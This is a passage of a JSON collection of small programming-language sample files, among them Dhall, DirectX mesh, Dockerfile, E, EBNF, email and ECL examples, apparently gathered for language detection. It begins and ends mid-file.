                                      , ARMv5tel_Linux =\n                                            λ(_ : {}) → \"armv5tel-linux\"\n                                        , ARMv7l_Linux   =\n                                            λ(_ : {}) → \"armv7l-linux\"\n                                        , I686_Cygwin    =\n                                            λ(_ : {}) → \"i686-cygwin\"\n                                        , I686_Linux     =\n                                            λ(_ : {}) → \"i686-linux\"\n                                        , MIPS64el_Linux =\n                                            λ(_ : {}) → \"mips64el-linux\"\n                                        , PowerPC_Linux  =\n                                            λ(_ : {}) → \"powerpc-linux\"\n                                        , X86_64_Cygwin  =\n                                            λ(_ : {}) → \"x86_64-cygwin\"\n                                        , X86_64_Darwin  =\n                                            λ(_ : {}) → \"x86_64-darwin\"\n                                        , X86_64_FreeBSD =\n                                            λ(_ : {}) → \"x86_64-freebsd\"\n                                        , X86_64_Linux   =\n                                            λ(_ : {}) → \"x86_64-linux\"\n                                        , X86_64_Solaris =\n                                            λ(_ : {}) → \"x86_64-solaris\"\n                                        }\n                                        element\n                                      )\n                                  ++  \",\"\n                                  ++  result\n                              )\n                        }\n                        status\n                        : < Empty : {} | NonEmpty : Text >\n                    )\n                   (< Empty : {} | NonEmpty : Text >.Empty {=})\n                  )\n                  : Text\n                )\n            ++  \" \"\n            ++  x.key\n            ++  \" \"\n            ++  Integer/show (Natural/toInteger x.cores)\n            ++  \" \"\n            ++  Integer/show (Natural/toInteger x.speedFactor)\n            ++  \" \"\n            ++  ( merge\n                  { Empty    = λ(_ : {}) → \"\"\n                  , NonEmpty = λ(result : Text) → result\n                  }\n                  ( List/fold\n                    Text\n                    x.supportedFeatures\n                    < Empty : {} | NonEmpty : Text >\n                    (   λ(element : Text)\n                      → λ(status : < Empty : {} | NonEmpty : Text >)\n                      → merge\n                        { Empty    =\n                            λ(_ : {}) →\n                            (< Empty : {} | NonEmpty : Text >.NonEmpty element)\n                        , NonEmpty =\n                              λ(result : Text)\n                            → < Empty : {} | NonEmpty : Text >.NonEmpty (\n                                  element ++ \",\" ++ result\n                              )\n                        }\n                        status\n                        : < Empty : {} | NonEmpty : Text >\n                    )\n                   (< Empty : {} | NonEmpty : Text >.Empty {=})\n                  )\n                  : Text\n                )\n            ++  \" \"\n            ++  ( merge\n                  { Empty    = λ(_ : {}) → \"\"\n                  , NonEmpty = λ(result : Text) → result\n                  }\n                  ( List/fold\n                    Text\n                    x.mandatoryFeatures\n                    < Empty : {} | NonEmpty : Text >\n                    (   λ(element : Text)\n                      → λ(status : < Empty : {} | NonEmpty : Text >)\n                      → merge\n                        { Empty    =\n                            λ(_ : {}) →\n                            < Empty : {} | NonEmpty : Text >.NonEmpty element\n                        , NonEmpty =\n                              λ(result : Text)\n                            → < Empty : {} | NonEmpty : Text >.NonEmpty (\n                                  element ++ \",\" ++ result\n                              )\n                        }\n                        status\n                        : < Empty : {} | NonEmpty : Text >\n                    )\n                   (< Empty : {} | NonEmpty : Text >.Empty {=})\n                  )\n                  : Text\n                )\n            ++  \"\\n\"\n          )\n      ++  y\n  )\n  \"\"\n"
  },
  {
    "path": "samples/Dhall/remoteSystemsA.dhall",
    "content": "let Text/concatMap = ../../../Prelude/Text/concatMap\n\nlet Text/concatSep = ../../../Prelude/Text/concatSep\n\nlet Row =\n      { cores :\n          Natural\n      , host :\n          Text\n      , key :\n          Text\n      , mandatoryFeatures :\n          List Text\n      , platforms :\n          List Text\n      , speedFactor :\n          Natural\n      , supportedFeatures :\n          List Text\n      , user :\n          Optional Text\n      }\n\nlet renderRow =\n        λ ( row\n          : Row\n          )\n      → let host =\n              Optional/fold\n              Text\n              row.user\n              Text\n              (λ(user : Text) → \"${user}@${row.host}\")\n              row.host\n        \n        let platforms = Text/concatSep \",\" row.platforms\n        \n        let key = row.key\n        \n        let cores = Integer/show (Natural/toInteger row.cores)\n        \n        let speedFactor = Integer/show (Natural/toInteger row.speedFactor)\n        \n        let supportedFeatures = Text/concatSep \",\" row.supportedFeatures\n        \n        let mandatoryFeatures = Text/concatSep \",\" row.mandatoryFeatures\n        \n        in  ''\n            ${host} ${platforms} ${key} ${cores} ${speedFactor} ${supportedFeatures} ${mandatoryFeatures}\n            ''\n\nin  Text/concatMap Row renderRow\n"
  },
  {
    "path": "samples/Diff/dude-thing-okay--001.patch",
    "content": "diff --git a/lib/linguist.rb b/lib/linguist.rb\nindex d472341..8ad9ffb 100644\n--- a/lib/linguist.rb\n+++ b/lib/linguist.rb\n"
  },
  {
    "path": "samples/DirectX 3D File/cube.x",
    "content": "xof 0303txt 0032\n\nFrame Root {\n  FrameTransformMatrix {\n     1.000000, 0.000000, 0.000000, 0.000000,\n     0.000000,-0.000000, 1.000000, 0.000000,\n     0.000000, 1.000000, 0.000000, 0.000000,\n     0.000000, 0.000000, 0.000000, 1.000000;;\n  }\n  Frame Cube {\n    FrameTransformMatrix {\n       1.000000, 0.000000, 0.000000, 0.000000,\n       0.000000, 1.000000, 0.000000, 0.000000,\n       0.000000, 0.000000, 1.000000, 0.000000,\n       0.000000, 0.000000, 0.000000, 1.000000;;\n    }\n    Mesh { // Cube mesh\n      24;\n      -1.000000;-1.000000;-1.000000;,\n      -1.000000;-1.000000; 1.000000;,\n      -1.000000; 1.000000; 1.000000;,\n      -1.000000; 1.000000;-1.000000;,\n      -1.000000; 1.000000;-1.000000;,\n      -1.000000; 1.000000; 1.000000;,\n       1.000000; 1.000000; 1.000000;,\n       1.000000; 1.000000;-1.000000;,\n       1.000000; 1.000000;-1.000000;,\n       1.000000; 1.000000; 1.000000;,\n       1.000000;-1.000000; 1.000000;,\n       1.000000;-1.000000;-1.000000;,\n       1.000000;-1.000000;-1.000000;,\n       1.000000;-1.000000; 1.000000;,\n      -1.000000;-1.000000; 1.000000;,\n      -1.000000;-1.000000;-1.000000;,\n      -1.000000; 1.000000;-1.000000;,\n       1.000000; 1.000000;-1.000000;,\n       1.000000;-1.000000;-1.000000;,\n      -1.000000;-1.000000;-1.000000;,\n       1.000000; 1.000000; 1.000000;,\n      -1.000000; 1.000000; 1.000000;,\n      -1.000000;-1.000000; 1.000000;,\n       1.000000;-1.000000; 1.000000;;\n      6;\n      4;3,2,1,0;,\n      4;7,6,5,4;,\n      4;11,10,9,8;,\n      4;15,14,13,12;,\n      4;19,18,17,16;,\n      4;23,22,21,20;;\n      MeshNormals { // Cube normals\n        6;\n        -1.000000;-0.000000; 0.000000;,\n         0.000000; 1.000000; 0.000000;,\n         1.000000;-0.000000; 0.000000;,\n         0.000000;-1.000000; 0.000000;,\n         0.000000; 0.000000;-1.000000;,\n         0.000000;-0.000000; 1.000000;;\n        6;\n        4;0,0,0,0;,\n        4;1,1,1,1;,\n        4;2,2,2,2;,\n        4;3,3,3,3;,\n        4;4,4,4,4;,\n        4;5,5,5,5;;\n      } // End of Cube normals\n      MeshTextureCoords { // Cube UV coordinates\n        24;\n         0.666667; 0.666667;,\n         0.333333; 0.666667;,\n         0.333333; 1.000000;,\n         0.666667; 1.000000;,\n         0.333333; 0.333333;,\n         0.000000; 0.333333;,\n         0.000000; 0.666667;,\n         0.333333; 0.666667;,\n         0.333333; 0.666667;,\n         0.000000; 0.666667;,\n         0.000000; 1.000000;,\n         0.333333; 1.000000;,\n         0.333333; 0.333333;,\n         0.333333; 0.666667;,\n         0.666667; 0.666667;,\n         0.666667; 0.333333;,\n         1.000000; 0.666667;,\n         0.666667; 0.666667;,\n         0.666667; 1.000000;,\n         1.000000; 1.000000;,\n         0.333333; 0.333333;,\n         0.333333; 0.000000;,\n         0.000000; 0.000000;,\n         0.000000; 0.333333;;\n      } // End of Cube UV coordinates\n    } // End of Cube mesh\n  } // End of Cube\n} // End of Root\n"
  },
  {
    "path": "samples/Dockerfile/debian-systemd.Containerfile",
    "content": "FROM debian:bullseye\n\nRUN apt-get update && apt-get install -y systemd systemd-sysv && apt-get clean\nRUN systemctl mask systemd-logind systemd-udevd\n\nRUN apt-get install bash-completion\nRUN echo \"source /usr/share/bash-completion/bash_completion\" >> /root/.bashrc\n\nCMD [\"/lib/systemd/systemd\"]"
  },
  {
    "path": "samples/Dockerfile/filenames/Dockerfile",
    "content": "# This file describes the standard way to build Docker, using docker\ndocker-version 0.4.2\nfrom\tubuntu:12.04\nmaintainer\tSolomon Hykes <solomon@dotcloud.com>\n# Build dependencies\nrun\tapt-get install -y -q curl\nrun\tapt-get install -y -q git\n# Install Go\nrun\tcurl -s https://go.googlecode.com/files/go1.1.1.linux-amd64.tar.gz | tar -v -C /usr/local -xz\nenv\tPATH\t/usr/local/go/bin:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin\nenv\tGOPATH\t/go\nenv\tCGO_ENABLED 0\nrun\tcd /tmp && echo 'package main' > t.go && go test -a -i -v\n# Download dependencies\nrun\tPKG=github.com/kr/pty REV=27435c699;\t\t git clone http://$PKG /go/src/$PKG && cd /go/src/$PKG && git checkout -f $REV\nrun\tPKG=github.com/gorilla/context/ REV=708054d61e5; git clone http://$PKG /go/src/$PKG && cd /go/src/$PKG && git checkout -f $REV\nrun\tPKG=github.com/gorilla/mux/ REV=9b36453141c;\t git clone http://$PKG /go/src/$PKG && cd /go/src/$PKG && git checkout -f $REV\n# Run dependencies\nrun\tapt-get install -y iptables\n# lxc requires updating ubuntu sources\nrun\techo 'deb http://archive.ubuntu.com/ubuntu precise main universe' > /etc/apt/sources.list\nrun\tapt-get update\nrun\tapt-get install -y lxc\nrun\tapt-get install -y aufs-tools\n# Upload docker source\nadd\t.       /go/src/github.com/dotcloud/docker\n# Build the binary\nrun\tcd /go/src/github.com/dotcloud/docker/docker && go install -ldflags \"-X main.GITCOMMIT '??' -d -w\"\nenv\tPATH\t/usr/local/go/bin:/go/bin:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin\ncmd\t[\"docker\"]\n"
  },
  {
    "path": "samples/Dogescript/example.djs",
    "content": "quiet\n wow \n    such language\n  very syntax\n        github recognized wow\nloud\n\nsuch language much friendly\n    rly friendly is true\n        plz console.loge with 'such friend, very inclusive'\n    but\n        plz console.loge with 'no love for doge'\n    wow\nwow\n\nmodule.exports is language"
  },
  {
    "path": "samples/Dotenv/default.env",
    "content": "REACT_APP_ENDPOINT=http://localhost:5000/api\nREACT_APP_DEFAULT_USR=\n"
  },
  {
    "path": "samples/Dune/filenames/dune-project",
    "content": "(lang dune 2.9)\n\n(name reason)\n\n(using menhir 2.0)\n\n(cram enable)\n\n(version 3.8.2)\n\n(generate_opam_files true)\n\n(source\n (github reasonml/reason))\n\n(authors \"Jordan Walke <jordojw@gmail.com>\")\n\n(maintainers\n \"Jordan Walke <jordojw@gmail.com>\"\n \"Antonio Nuno Monteiro <anmonteiro@gmail.com>\")\n\n(homepage \"https://reasonml.github.io/\")\n\n(bug_reports \"https://github.com/reasonml/reason/issues\")\n\n(license \"MIT\")\n\n(package\n (name reason)\n (synopsis \"Reason: Syntax & Toolchain for OCaml\")\n (description\n  \"Reason gives OCaml a new syntax that is remniscient of languages like\\nJavaScript. It's also the umbrella project for a set of tools for the OCaml &\\nJavaScript ecosystem.\")\n (depends\n  (ocaml\n   (and\n    (>= \"4.03\")\n    (< \"5.2\")))\n  (ocamlfind :build)\n  (dune-build-info\n   (>= 2.9.3))\n  (menhir\n   (>= \"20180523\"))\n  (merlin-extend\n   (>= \"0.6\"))\n  fix\n  ppx_derivers\n  (ppxlib\n   (>= \"0.28.0\"))))\n\n(package\n (name rtop)\n (synopsis \"Reason toplevel\")\n (description\n  \"rtop is the toplevel (or REPL) for Reason, based on utop (https://github.com/diml/utop).\")\n (depends\n  (ocaml\n   (and\n    (>= \"4.03\")\n    (< \"5.2\")))\n  (reason\n   (= :version))\n  (utop\n   (>= \"2.0\"))))\n"
  },
  {
    "path": "samples/E/Extends.E",
    "content": "# from\n# http://wiki.erights.org/wiki/Walnut/Ordinary_Programming/Objects_and_Functions\ndef makeVehicle(self) {\n    def vehicle {\n        to milesTillEmpty() {\n            return self.milesPerGallon() * self.getFuelRemaining()\n        }\n    }\n    return vehicle\n}\n\ndef makeCar() {\n    var fuelRemaining := 20\n    def car extends makeVehicle(car) {\n        to milesPerGallon() {return 19}\n        to getFuelRemaining() {return fuelRemaining}\n    }\n    return car\n}\n\ndef makeJet() {\n    var fuelRemaining := 2000\n    def jet extends makeVehicle(jet) {\n        to milesPerGallon() {return 2}\n        to getFuelRemaining() {return fuelRemaining}\n    }\n    return jet\n}\n\ndef car := makeCar()\nprintln(`The car can go ${car.milesTillEmpty()} miles.`)\n"
  },
  {
    "path": "samples/E/Functions.E",
    "content": "# from\n# http://wiki.erights.org/wiki/Walnut/Ordinary_Programming/Objects_and_Functions\ndef makeCar(var name) {\n    var x := 0\n    var y := 0\n    def car {\n        to moveTo(newX,newY) {\n            x := newX\n            y := newY\n        }\n        to getX() {return x}\n        to getY() {return y}\n        to setName(newName) {name := newName}\n        to getName() {return name}\n    } \n    return car\n}\n# Now use the makeCar function to make a car, which we will move and print\ndef sportsCar := makeCar(\"Ferrari\")\nsportsCar.moveTo(10,20)\nprintln(`The car ${sportsCar.getName()} is at X location ${sportsCar.getX()}`)\n"
  },
  {
    "path": "samples/E/Guards.E",
    "content": "# from\n# http://wiki.erights.org/wiki/Walnut/Advanced_Topics/Build_your_Own_Guards\ndef makeVOCPair(brandName :String) :near {\n\n    var myTempContents := def none {}\n\n    def brand {\n        to __printOn(out :TextWriter) :void {\n            out.print(brandName)\n        }\n    }\n\n    def ProveAuth {\n        to __printOn(out :TextWriter) :void {\n            out.print(`<$brandName prover>`)\n        }\n        to getBrand() :near { return brand }\n        to coerce(specimen, optEjector) :near {\n            def sealedBox {\n                to getBrand() :near { return brand }\n                to offerContent() :void {\n                    myTempContents := specimen\n                }\n            }\n            return sealedBox\n        }\n    }\n    def CheckAuth {\n        to __printOn(out :TextWriter) :void {\n            out.print(`<$brandName checker template>`)\n        }\n        to getBrand() :near { return brand }\n        match [`get`, authList :any[]] {\n            def checker {\n                to __printOn(out :TextWriter) :void {\n                    out.print(`<$brandName checker>`)\n                }\n                to getBrand() :near { return brand }\n                to coerce(specimenBox, optEjector) :any {\n                    myTempContents := null\n                    if (specimenBox.__respondsTo(\"offerContent\", 0)) {\n                      # XXX Using __respondsTo/2 here is a kludge\n                        specimenBox.offerContent()\n                    } else {\n                        myTempContents := specimenBox\n                    }\n                    for auth in authList {\n                        if (auth == myTempContents) {\n                            return auth\n                        }\n                    }\n                    myTempContents := none\n                    throw.eject(optEjector,\n                                `Unmatched $brandName authorization`)\n                }\n            }\n        }\n        match [`__respondsTo`, [`get`, _]] {\n            true\n        }\n        match [`__respondsTo`, [_, _]] {\n            false\n        }\n        match [`__getAllegedType`, []] {\n            null.__getAllegedType()\n        }\n    }\n    return [ProveAuth, CheckAuth]\n}\n"
  },
  {
    "path": "samples/E/IO.E",
    "content": "# E sample from\n# http://wiki.erights.org/wiki/Walnut/Ordinary_Programming/InputOutput\n#File objects for hardwired files:\ndef file1 := <file:myFile.txt>\ndef file2 := <file:/home/marcs/myFile.txt>\n\n#Using a variable for a file name:\ndef filePath := \"c:\\\\docs\\\\myFile.txt\"\ndef file3 := <file>[filePath]\n\n#Using a single character to specify a Windows drive\ndef file4 := <file:c:/docs/myFile.txt>\ndef file5 := <c:/docs/myFile.txt>\ndef file6 := <c:\\docs\\myFile.txt>\n"
  },
  {
    "path": "samples/E/Promises.E",
    "content": "# E snippet from\n# http://wiki.erights.org/wiki/Walnut/Distributed_Computing/Promises\nwhen (tempVow) -> {\n    #...use tempVow\n} catch prob {\n    #.... report problem\n} finally {\n    #....log event\n}\n"
  },
  {
    "path": "samples/E/atomic-updates.E",
    "content": "#!/usr/bin/env rune\npragma.syntax(\"0.9\")\n\ndef pi := (-1.0).acos()\ndef makeEPainter := <unsafe:com.zooko.tray.makeEPainter>\ndef colors := <awt:makeColor>\n\n# --------------------------------------------------------------\n# --- Definitions\n\n/** Execute 'task' repeatedly as long 'indicator' is unresolved. */\ndef doWhileUnresolved(indicator, task) {\n  def loop() {\n    if (!Ref.isResolved(indicator)) {\n      task()\n      loop <- ()\n    }\n  }\n  loop <- ()\n}\n\n/** The data structure specified for the task. */\ndef makeBuckets(size) {\n    def values := ([100] * size).diverge() # storage\n    def buckets {\n        to size() :int { return size }\n        /** get current quantity in bucket 'i' */\n        to get(i :int) { return values[i] }\n        /** transfer 'amount' units, as much as possible, from bucket 'i' to bucket 'j'\n            or vice versa if 'amount' is negative */\n        to transfer(i :int, j :int, amount :int) {\n            def amountLim := amount.min(values[i]).max(-(values[j]))\n            values[i] -= amountLim\n            values[j] += amountLim\n        }\n    }\n    return buckets\n}\n\n/** A view of the current state of the buckets. */\ndef makeDisplayComponent(buckets) {\n  def c := makeEPainter(def paintCallback {\n    to paintComponent(g) {\n      def pixelsW := c.getWidth()\n      def pixelsH := c.getHeight()\n      def bucketsW := buckets.size()\n\n      g.setColor(colors.getWhite())\n      g.fillRect(0, 0, pixelsW, pixelsH)\n\n      g.setColor(colors.getDarkGray())\n      var sum := 0\n      for i in 0..!bucketsW {\n        sum += def value := buckets[i]\n        def x0 := (i       * pixelsW / bucketsW).floor()\n        def x1 := ((i + 1) * pixelsW / bucketsW).floor()\n        g.fillRect(x0 + 1, pixelsH - value,\n                   x1 - x0 - 1, value)\n      }\n\n      g.setColor(colors.getBlack())\n      g.\"drawString(String, int, int)\"(`Total: $sum`, 2, 20)\n    }\n  })\n  c.setPreferredSize(<awt:makeDimension>(500, 300))\n  return c\n}\n\n# --------------------------------------------------------------\n# --- Application setup\n\ndef buckets := makeBuckets(100)\ndef done # Promise indicating when the window is closed\n\n# Create the window\ndef frame := <unsafe:javax.swing.makeJFrame>(\"Atomic transfers\")\nframe.setContentPane(def display := makeDisplayComponent(buckets))\nframe.addWindowListener(def mainWindowListener {\n  to windowClosing(event) :void {\n    bind done := null\n  }\n  match _ {}\n})\nframe.setLocation(50, 50)\nframe.pack()\n\n# --------------------------------------------------------------\n# --- Tasks\n\n# Neatens up buckets\nvar ni := 0\ndoWhileUnresolved(done, fn {\n  def i := ni\n  def j := (ni + 1) %% buckets.size()\n  buckets.transfer(i, j, (buckets[i] - buckets[j]) // 4)\n  ni := j\n})\n\n# Messes up buckets\nvar mi := 0\ndoWhileUnresolved(done, fn {\n    def i := (mi + entropy.nextInt(3)) %% buckets.size()\n    def j := (i + entropy.nextInt(3)) %% buckets.size() #entropy.nextInt(buckets.size())\n    buckets.transfer(i, j, (buckets[i] / pi).floor())\n    mi := j\n})\n\n# Updates display at fixed 10 Hz\n# (Note: tries to catch up; on slow systems slow this down or it will starve the other tasks)\ndef clock := timer.every(100, def _(_) {\n  if (Ref.isResolved(done)) {\n    clock.stop()\n  } else {\n    display.repaint()\n  }\n})\nclock.start()\n\n# --------------------------------------------------------------\n# --- All ready, go visible and wait\n\nframe.show()\ninterp.waitAtTop(done)\n"
  },
  {
    "path": "samples/E/minChat.E",
    "content": "# from\n# http://wiki.erights.org/wiki/Walnut/Secure_Distributed_Computing/Auditing_minChat\npragma.syntax(\"0.9\")\nto send(message) {\n    when (friend<-receive(message)) -> {\n        chatUI.showMessage(\"self\", message)\n    } catch prob {chatUI.showMessage(\"system\", \"connection lost\")}\n}\nto receive(message) {chatUI.showMessage(\"friend\", message)}\nto receiveFriend(friendRcvr) {\n    bind friend := friendRcvr        \n    chatUI.showMessage(\"system\", \"friend has arrived\")\n}\nto save(file) {file.setText(makeURIFromObject(chatController))}\nto load(file) {\n    bind friend := getObjectFromURI(file.getText())\n    friend <- receiveFriend(chatController)\n}\n"
  },
  {
    "path": "samples/E-mail/example.eml",
    "content": "Return-Path: <nobody@example.org>\r\nTo: Mario Zaizar <nobody@example.local>\r\nSubject: Testing Mario Zaizar' MIME E-mail composing and sending PHP class: HTML message\r\nFrom: nobody <nobody@example.org>\r\nReply-To: nobody <nobody@example.org>\r\nSender: nobody@example.org\r\nX-Mailer: http://www.phpclasses.org/mimemessage $Revision: 1.63 $ (mail)\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"652b8c4dcb00cdcdda1e16af36781caf\"\r\nMessage-ID: <20050430192829.0489.nobody@example.org>\r\nDate: Sat, 30 Apr 2005 19:28:29 -0300\r\n\r\n\r\n--69c1683a3ee16ef7cf16edd700694a2f\r\nContent-Type: text/plain; charset=ISO-8859-1\r\nContent-Transfer-Encoding: quoted-printable\r\n\r\nThis is an HTML message. Please use an HTML capable mail program to read\r\nthis message.\r\n\r\n--69c1683a3ee16ef7cf16edd700694a2f\r\nContent-Type: text/html; charset=ISO-8859-1\r\nContent-Transfer-Encoding: quoted-printable\r\n\r\n<html>\r\n<head>\r\n<title>Testing Mario Zaizar' MIME E-mail composing and sending PHP class: H=\r\nTML message</title>\r\n<style type=3D\"text/css\"><!--\r\nbody { color: black ; font-family: arial, helvetica, sans-serif ; backgroun=\r\nd-color: #A3C5CC }\r\nA:link, A:visited, A:active { text-decoration: underline }\r\n--></style>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n--69c1683a3ee16ef7cf16edd700694a2f--\r\n\r\n--6a82fb459dcaacd40ab3404529e808dc\r\nContent-Type: image/gif; name=\"logo.gif\"\r\nContent-Transfer-Encoding: base64\r\nContent-Disposition: inline; filename=\"logo.gif\"\r\nContent-ID: <ae0357e57f04b8347f7621662cb63855.gif>\r\n\r\nR0lGODlhlgAjAPMJAAAAAAAA/y8vLz8/P19fX19f339/f4+Pj4+Pz7+/v///////////////////\r\n/////yH5BAEAAAkALAAAAACWACMAQwT+MMlJq7046827/2AoHYChGAChAkBylgKgKClFyEl6xDMg\r\nqLFBj3C5uXKplVAxIOxkA8BhdFCpDlMK1urMTrZWbAV8tVS5YsxtxmZHBVOSCcW9zaXyNhslVcto\r\nRBp5NQYxLAYGLi8oSwoJBlE+BiSNj5E/PDQsmy4pAJWQLAKJY5+hXhZ2dDYldFWtNSFPiXssXnZR\r\nk5+1pjpBiDMJUXG/Jo7DI4eKfMSmxsJ9GAUB1NXW19jZ2tvc3d7f4OHi2AgZN5vom1kk6F7s6u/p\r\nm3Ab7AOIiCxOyZuBIv8AOeTJIaYQjiR/kKTr5GQNE3pYSjCJ9mUXClRUsLxaZGciC0X+OlpoOuQo\r\nZKdNJnIoKfnxRUQh6FLG0iLxIoYnJd0JEKISJyAQDodp3EUDC48oDnUY7HFI3wEDRjzycQJVZCQT\r\nOl7NK+G0qgtkAcOKHUu2rNmzYTVqRMt2bB49bHompSchqg6HcGeANSMxr8sEa2y2HexnSEUTuWri\r\nSSbkYh7BgGVAnhB1b2REibESYaRoBgqIMYx59tFM9AvQffVG49P5NMZkMlHKhJPJb0knmSKZ6kSX\r\nJtbeF3Am7ocok6c7cM7pU5xcXiJJETUz16qPrzEfaFgZpvzn7h86YV5r/1mxXeAUMVyEIpnVUGpN\r\nRlG2ka9b3lP3pm2l6u7P+l/YLj3+RlEHbz1C0kRxSITQaAcilVBMEzmkkEQO8oSOBNg9SN+AX6hV\r\nz1pjgJiAhwCRsY8ZIp6xj1ruqCgeGeKNGEZwLnIwzTg45qjjjjz2GEA5hAUp5JBEFmnkkSCoWEcZ\r\nX8yohZNK1pFGPQS4hx0qNSLJlk9wCQORYu5QiMd7bUzGVyNlRiOHSlpuKdGEItHQ3HZ18beRRyws\r\nYSY/waDTiHf/tWlWUBAJiMJ1/Z0XXU7N0FnREpKM4NChCgbyRDq9XYpOplaKopN9NMkDnBbG+UMC\r\nQwLWIeaiglES6AjGARcPHCWoVAiatcTnGTABZoLPaPG1phccPv366mEvWEFSLnj+2QaonECwcJt/\r\ne1Zw3lJvVMmftBdVNQS3UngLCA85YHIQOy6JO9N4eZW7KJwtOUZmGwOMWqejwVW6RQzaikRHX3yI\r\nosKhDAq8wmnKSmdMwNidSOof9ZG2DoV0RfTVmLFtGmNk+CoZna0HQnPHS3AhRbIeDpqmR09E0bsu\r\nsoeaw994z+rwQVInvqLenBftYjLOVphLFHhV9qsnez8AEUbQRgO737AxChjmyANxuEFHSGi7hFCV\r\n4jxLst2N8sRJYU+SHiAKjlmCgz2IffbLI5aaQR71hnkxq1ZfHSfKata6YDCJDMAQwY7wOgzhjxgj\r\nVFQnKB5uX4mr9qJ79pann+VcfcSzsSCd2mw5scqRRvlQ6TgcUelYhu75iPE4JejrsJOFQAG01277\r\n7bjnrvvuvPfu++/ABy887hfc6OPxyCevPDdAVoDA89BHL/301Fdv/fXYZ6/99tx3Pz0FEQAAOw==\r\n\r\n--6a82fb459dcaacd40ab3404529e808dc\r\n"
  },
  {
    "path": "samples/EBNF/grammar.ebnf",
    "content": "(*\n  Source:  https://github.com/sunjay/lion\n  License: MIT\n*)\n\nStatement = ( NamedFunction | AnonymousFunction | Assignment | Expr ) , \"\\n\" ;\nExpr = AnonymousFunction | Term | \"(\" , Expr , \")\" ,\n    { AnonymousFunction | Term | \"(\" , Expr , \")\" } ;\n\nAssignment = Symbol , \"=\" , Expr ;\n\nAnonymousFunction = \"\\\" , FunctionRHS ;\nNamedFunction = Symbol , FunctionRHS ;\n\nFunctionRHS = FunctionParams , \"=\" , FunctionBody ;\nFunctionParams = FunctionParam , { FunctionParam } ;\nFunctionParam = Term ;\nFunctionBody = Expr ;\n\nTerm = Symbol | Number | SingleWordString ;\nSingleWordString = '\"' , Symbol , '\"' ;\n(* Symbol is a collection of valid symbol characters, not defined here *)\n(* Number is a valid numeric literal *)\n\n"
  },
  {
    "path": "samples/EBNF/material.ebnf",
    "content": "(*\n  Source:  https://github.com/io7m/jsom0\n  License: ISC\n*)\n\nname =\n  \"name\" , string , \";\" ;\n\ndiffuse =\n  \"diffuse\" , real , real , real , \";\" ;\n\nambient =\n  \"ambient\" , real , real , real , \";\" ;\n\nspecular =\n  \"specular\" , real , real , real , real , \";\" ;\n\nshininess =\n  \"shininess\" , real , \";\" ;\n\nalpha =\n  \"alpha\" , real , \";\" ;\n\nmapping =\n  \"map_chrome\" | \"map_uv\" ;\n\ntexture =\n  \"texture\" , string , real , mapping , \";\" ;\n\nmaterial =\n  \"material\" , \";\" ,\n    name ,\n    diffuse ,\n    ambient ,\n    specular ,\n    shininess ,\n    alpha ,\n    [ texture ] ,\n  \"end\" , \";\" ;\n\n"
  },
  {
    "path": "samples/EBNF/object.ebnf",
    "content": "(*\n  Source:  https://github.com/io7m/jsom0\n  License: ISC\n*)\n\nvertex_p3n3_name =\n  \"vertex_p3n3\" ;\n\nvertex_p3n3t2_name =\n  \"vertex_p3n3t2\" ;\n\nvertex_type =\n  vertex_p3n3_name | vertex_p3n3t2_name ;\n\nvertex_position =\n  \"position\" , real , real , real , \";\" ;\n\nvertex_normal =\n  \"normal\" , real , real , real , \";\" ;\n\nvertex_uv =\n  \"uv\" , real , real , \";\" ;\n\nvertex_p3n3 =\n  vertex_p3n3_name , vertex_position , vertex_normal , \"end\" , \";\" ;\n\nvertex_p3n3t2 =\n  vertex_p3n3t2_name , vertex_position , vertex_normal , vertex_uv , \"end\" , \";\" ;\n\nvertex =\n  vertex_p3n3 | vertex_p3n3t2 ;\n\nvertex_array =\n  \"array\" , positive , vertex_type , { vertex } , \"end\" , \";\" ;\n\nvertices =\n  \"vertices\" , \";\" , vertex_array , \"end\" , \";\" ;\n\ntriangle =\n  \"triangle\" , natural , natural , natural , \";\" ;\n\ntriangle_array =\n  \"array\" , positive, \"triangle\" , { triangle } , \"end\" , \";\" ;\n\ntriangles =\n  \"triangles\" , \";\" , triangle_array , \"end\" , \";\" ;\n\nname =\n  \"name\" , string , \";\" ;\n\nmaterial_name =\n  \"material_name\" , string , \";\" ;\n\nobject =\n  \"object\" , \";\" ,\n    name ,\n    material_name ,\n    vertices ,\n    triangles ,\n  \"end\" , \";\" ;\n\n"
  },
  {
    "path": "samples/EBNF/types.ebnf",
    "content": "(*\n  Source:  https://github.com/io7m/jsom0\n  License: ISC\n*)\n\ndigit_without_zero =\n  \"1\" | \"2\" | \"3\" | \"4\" | \"5\" | \"6\" | \"7\" | \"8\" | \"9\" ;\n\ndigit =\n  \"0\" | digit_without_zero ;\n\npositive =\n  digit_without_zero , { digit } ;\n\nnatural =\n  \"0\" | positive ;\n\nreal =\n  [ \"-\" ] , digit , [ \".\" , { digit } ] ;\n\n"
  },
  {
    "path": "samples/ECL/sample.ecl",
    "content": "/* \n * Multi-line comment\n */\n#option ('slidingJoins', true);\n\nnamesRecord :=\n            RECORD\nstring20        surname;\nstring10        forename;\ninteger2        age;\ninteger2        dadAge;\ninteger2        mumAge;\n            END;\n\nnamesRecord2 :=\n            record\nstring10        extra;\nnamesRecord;\n            end;\n\nnamesTable := dataset('x',namesRecord,FLAT);\nnamesTable2 := dataset('y',namesRecord2,FLAT);\n\ninteger2 aveAgeL(namesRecord l) := (l.dadAge+l.mumAge)/2;\ninteger2 aveAgeR(namesRecord2 r) := (r.dadAge+r.mumAge)/2;\n\n// Standard join on a function of left and right\noutput(join(namesTable, namesTable2, aveAgeL(left) = aveAgeR(right)));\n\n//Several simple examples of sliding join syntax\noutput(join(namesTable, namesTable2, left.age >= right.age - 10 and left.age <= right.age +10));\noutput(join(namesTable, namesTable2, left.age between right.age - 10 and right.age +10));\noutput(join(namesTable, namesTable2, left.age between right.age + 10 and right.age +30));\noutput(join(namesTable, namesTable2, left.age between (right.age + 20) - 10 and (right.age +20) + 10));\noutput(join(namesTable, namesTable2, aveAgeL(left) between aveAgeR(right)+10 and aveAgeR(right)+40));\n\n//Same, but on strings.  Also includes age to ensure sort is done by non-sliding before sliding.\noutput(join(namesTable, namesTable2, left.surname between right.surname[1..10]+'AAAAAAAAAA' and right.surname[1..10]+'ZZZZZZZZZZ' and left.age=right.age));\noutput(join(namesTable, namesTable2, left.surname between right.surname[1..10]+'AAAAAAAAAA' and right.surname[1..10]+'ZZZZZZZZZZ' and 